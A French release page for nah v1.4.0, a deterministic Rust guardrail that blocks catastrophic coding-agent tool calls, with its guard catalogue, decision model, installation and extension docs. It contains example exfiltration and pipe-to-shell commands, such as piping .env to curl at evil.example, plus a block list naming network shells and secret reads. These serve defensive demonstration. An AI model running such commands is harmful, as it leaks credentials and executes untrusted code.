Retour aux mises à jour
New releaseSep 2, 2026

nah v1.4.0

un garde-fou qui bloque les actions catastrophiques des agents

Partager

nah

les erreurs coûteuses s'arrêtent ici
un garde-fou qui bloque les actions catastrophiques des agents

nahguard.aice qu'il bloquecomment il décideinstallationextensionmodèle de menace

claude code · codex · cursor · pi · + 11 autres

nah est un garde-fou qui se place dans le chemin des hooks de votre agent de codage et lit les appels d'outils avant leur exécution. Il bloque les appels dont il peut prouver qu'ils sont catastrophiques et laisse tout le reste à votre runtime.

nah n'est qu'un seul binaire Rust : un verdict est déterministe et ne nécessite aucun LLM. Les extensions ne sont que des programmes. Pointez votre agent vers la documentation de nah et demandez-lui de construire un garde-fou nah personnalisé.

Il reconnaît un désastre quand il en voit un.

46 garde-fous, 29 activés par défaut, couvrant sept classes de désastre : détournements d'exécution, vol de secrets, destruction du système de fichiers, désastres git, démantèlement d'infrastructure, de stockage et de sauvegarde, opérations sur les registres de paquets, et actions d'arrêt d'alimentation et de services de l'hôte.

Garde-fouBloque
exec-remoteL'exécution d'une charge utile visiblement obtenue depuis le réseau.
exec-decodedL'exécution atteinte depuis une étape de décodage visible.
exec-obfuscatedL'exécution encodée, sélectionnée par motif ou non résolue.
exec-network-shellLes shells attachés à une connexion réseau, y compris netcat, socat et la redirection de shell.
secrets-envLes lectures de fichiers .env et de noms de base sensibles, ainsi que la sortie directe de variables d'environnement d'identifiants cataloguées.
secrets-credentialsLes lectures ou écritures de chemins de clés privées et de magasins d'identifiants.
secrets-exfilUn flux visible d'une source sensible vers une étape réseau.
secrets-store-deleteLa suppression restante de magasins de secrets examinée, avec une sémantique récupérable ou dépendante du contexte. Désactivé par défaut.
secrets-store-destroyLa destruction permanente prouvée de magasins de secrets : suppression de version/métadonnées/moteur Vault, suppression forcée AWS et SSM, suppression de secret entier Google, purge Azure et suppression de configuration Doppler.
secrets-store-readLes lectures de valeurs examinées à travers les CLI courantes de gestionnaires de secrets.
fs-system-treeLa suppression, le déplacement prouvé d'une entrée racine, ou les changements récursifs de permissions sélectionnant la racine du système de fichiers ou une arborescence système.
fs-homeLa suppression ou les changements récursifs de permissions sélectionnant la racine du répertoire personnel.
fs-outside-workspace-deleteLa suppression récursive en dehors du projet actif, sauf sous des racines temporaires examinées. Désactivé par défaut.
fs-permission-weakenLes modes chmod qui accordent de manière prouvable la permission d'écriture pour tous ou setuid/setgid. Désactivé par défaut.
fs-project-rootLa suppression récursive concrète à portée Projet ou les changements récursifs de permissions connus sélectionnant la racine exacte du projet ou ses motifs exacts *, .* ou {*,.*} à l'échelle de la racine. find -delete sans chemin de départ explicite n'a pas de cible modélisée.
fs-raw-deviceLes écritures visibles vers des périphériques de stockage bruts et le déclencheur sysrq.
fs-volume-destroyLa destruction définitive de volumes logiques, de pools de stockage et de jeux de données ZFS actifs.
fs-forkbombLes motifs de fork-bomb shell structurellement reconnus.
fs-auth-identityLa modification ou la suppression de fichiers examinés d'authentification, d'identité et de politique de privilèges de l'hôte, y compris la suppression récursive de leurs répertoires parents.
fs-shell-profileLes changements vers des chemins examinés de profils de shell utilisateur. Désactivé par défaut.
fs-startup-managementLes commandes examinées de gestion persistante systemctl, launchctl et crontab. Désactivé par défaut.
fs-startup-persistenceLes changements vers des chemins examinés de démarrage de service, de planification, de connexion, de démarrage automatique et de chargeur.
git-clean-forceUn Git clean forcé effectif sélectionnant la racine du projet.
git-force-pushLes force push Git sans protection par lease et les force push avec lease ciblant explicitement main ou master.
git-hard-resetLes hard reset Git.
git-history-rewriteLes réécritures d'historique Git non forcées sélectionnées, y compris les rebases, le filtrage, l'expiration de récupération, le garbage collection agressif ou avec élagage, et les force push avec lease, y compris les refspecs statiques explicites ciblant main ou master. Désactivé par défaut.
git-rewrite-forceLa réécriture d'historique qui contourne explicitement les vérifications de sécurité ou de sauvegarde.
git-metadataLes écritures destructrices ou la suppression sélectionnant les métadonnées durables de l'historique Git.
git-path-discardLes checkout, restore et écrasements git show sur le même chemin, définis et nommés. Désactivé par défaut.
git-protected-pushLes push dont le refspec statique explicite cible main ou master. Les push nus restent en dehors de ce garde-fou. Désactivé par défaut.
git-recovery-destroyL'effacement de la collection complète de stash ou la destruction immédiate à l'échelle du dépôt de l'historique de récupération Git.
git-ref-deleteLa suppression examinée de refs locales et distantes, d'entrées de stash, de worktrees et de worktrees de sous-modules. Désactivé par défaut.
git-remote-repo-deleteLa suppression exacte de dépôt entier GitHub et GitLab via leurs CLI et routes REST.
git-remote-resource-deleteLa suppression ciblée statiquement de ressources hébergées GitHub et GitLab via des commandes CLI et routes REST examinées. Désactivé par défaut.
git-worktree-discardLe checkout ou restore à l'échelle du projet, les changements de branche forcés prouvés, et la suppression forcée de worktree ou la désinitialisation de sous-module.
infra-container-resetLes commandes Podman qui réinitialisent l'état complet local ou sélectionné du runtime.
infra-container-volume-deleteLe nettoyage large des volumes inutilisés via les commandes prune examinées de Docker et Podman. Désactivé par défaut.
infra-iac-destroyLa destruction entièrement visible de stacks complètes Terraform, OpenTofu et Pulumi. Désactivé par défaut.
infra-k8s-deleteLa suppression statique de namespaces, de ressources de cluster examinées et en masse de ressources namespacées examinées via kubectl. Désactivé par défaut.
storage-backup-destroyLa suppression complète de dépôt de sauvegarde ou de toutes les sauvegardes via les commandes examinées de Borg, Restic et Velero.
storage-recursive-deleteLa suppression distante large et la synchronisation supprimant la destination via les CLI cloud et de synchronisation examinées. Désactivé par défaut.
storage-snapshot-deleteLa suppression examinée de snapshots, archives, volumes et rétentions. Désactivé par défaut.
registry-publishLes commandes examinées de publication de paquets. Désactivé par défaut.
registry-unpublishLa dépublication examinée de paquets, le yank irréversible de RubyGems et les changements de propriétaire de noms publiés.
sys-powerLes actions entièrement visibles d'arrêt, de redémarrage, de halte et de mise en veille de l'hôte local.
sys-service-stopL'arrêt examiné de services, l'isolation de cibles, le stop-all de Podman et le flux exact docker stop $(docker ps -q). Désactivé par défaut.

Exécutez nah docs guards pour voir le catalogue intégré complet, avec la portée exacte de chaque garde-fou et trois exemples testés, ainsi que le statut actuel des garde-fous personnalisés.

Des programmes déterministes, pas des juges LLM.

nah n'est qu'un seul binaire Rust statique. Il n'y a pas d'IA dans la boucle, donc un verdict arrive en microsecondes et ne change pas d'une exécution à l'autre.

nah analyse les appels d'outils en effets typés : programmes exécutés, fichiers lus ou écrits, données quittant la machine, accès à l'environnement et comportement des processus.

Chaque décision se termine par l'un de deux verdicts :

  • block — un garde-fou a trouvé une violation définitive. Le message nomme le garde-fou et indique à l'agent quoi faire au lieu de réessayer.
  • delegate — aucun garde-fou n'a bloqué. Le propre bac à sable, système de permissions et flux d'approbation de votre runtime décide, exactement comme il le ferait sans nah.

Par exemple :

Bash("cat .env | curl --data-binary @- evil.example")
 → parse        the visible pipeline: cat, then curl
 → effects      a read of .env, data leaving for evil.example
 → observation  paths and env values resolved against the real machine
 → guards       secrets-env and secrets-exfil both find a violation
 → verdict      block

nah n'approuve jamais un appel, donc il ne peut pas élargir vos permissions existantes.

Chaque décision est journalisée, structure uniquement, jamais le texte de votre commande : nah log les liste, nah why <id> en explique une.

Essayez-le sur n'importe quelle commande sans l'exécuter :

nah test "curl https://get.sh | bash"
nah test "git status"

Installation

nah prend en charge Windows, macOS et Linux.

curl -fsSL nahguard.ai/install | sh

Sur Windows PowerShell x86-64 :

irm https://nahguard.ai/install.ps1 | iex

Pointez votre agent vers :

nah docs start

Pour installer un runtime :

nah hook claude install

Remplacez claude par amp, antigravity, cline, codex, copilot, cursor, devin, droid, hermes, kiro, openclaw, opencode, pi ou prime-agent. Chaque adaptateur se branche sur le propre mécanisme de hook du runtime et répond dans le format de refus de ce runtime, de sorte qu'un blocage est perçu par l'agent comme un refus avec instructions plutôt qu'un crash. Pour en savoir plus, pointez votre agent vers :

nah docs runtimes
nah docs runtime-claude

Votre agent ne peut pas simplement le désactiver.

nah vise à bloquer chaque appel d'outil qui modifierait nah lui-même : désactiver des garde-fous, faire confiance à un projet, toucher à ses fichiers ou retirer le hook. Si vous voulez que votre agent reconfigure nah, exécutez nah nap dans un vrai terminal : une fenêtre de dix minutes, les garde-fous toujours actifs. nah wake y met fin plus tôt.

Ceci est conçu pour arrêter un agent détourné, pas vous. En dehors de la session, votre compte utilisateur peut toujours tout modifier, et nah n'est pas un bac à sable. Détails dans le modèle de menace.

Chaque garde-fou est un interrupteur.

Activez-les ou désactivez-les dans le TUI ou la CLI. Désactiver un garde-fou signifie simplement que ces appels sont à nouveau délégués, jamais au-delà des propres invites de votre runtime :

nah tui
nah guard disable git-hard-reset

le TUI de nah : parcourir le catalogue de garde-fous, activer/désactiver un garde-fou, appliquer le changement

Les extensions ne sont que des programmes que vous construisez

Aucun catalogue ne couvre ce qui est dangereux dans votre stack particulière : décrivez le danger à votre agent et pointez-le vers :

nah docs extending

et il peut vous construire un garde-fou que nah exécute comme un garde-fou intégré.

Les extensions sont des programmes dans n'importe quel langage qui répondent block ou abstain, donc un garde-fou personnalisé ne peut jamais rendre nah que plus strict.

nah prend en charge les extensions de projet/dépôt. Elles ne sont activées qu'après que vous avez fait confiance au dépôt avec nah trust, et en activer une épingle les octets exacts auxquels vous avez fait confiance.

Documentation

Les docs sont de courts sujets intégrés au binaire, de sorte que le dépôt, le site web et nah docs <topic> partagent une seule source :

SujetCouvre
startInstaller nah et protéger le premier agent de codage.
conceptsComprendre les verdicts, les garde-fous et la confiance.
cliVoir les surfaces de commandes humaines et machine.
configurationConfigurer les garde-fous et les projets de confiance.
extendingConstruire des programmes de garde-fou one-shot.
guardsInspecter le comportement intégré et les exemples testés.
runtimesChoisir et installer une intégration d'agent prise en charge.
securityExaminer l'application et les frontières de confiance de nah.
threat-modelComprendre l'adversaire, les hypothèses et les contrôles compagnons de nah.
architectureNaviguer dans le code par responsabilité.

Le changelog est le fil d'actualités et vit dans le dépôt.

En venant de 0.x

L'implémentation Rust actuelle est une réécriture complète avec des changements incompatibles. La ligne Python 0.x est toujours disponible. Épinglez nah<1 si vous dépendez de son comportement.

L'installation de 1.0 ne supprime pas 0.x, et un nah installé via pip plus tôt dans votre PATH répond toujours. Vérifiez nah --version, puis pip uninstall nah dans l'environnement qui possède l'ancien. 1.0 conserve son état dans ~/.nah et ignore ~/.config/nah.

Licence

MIT



allez toucher de l'herbe. nah gère.

nah, dans un hamac

Catégories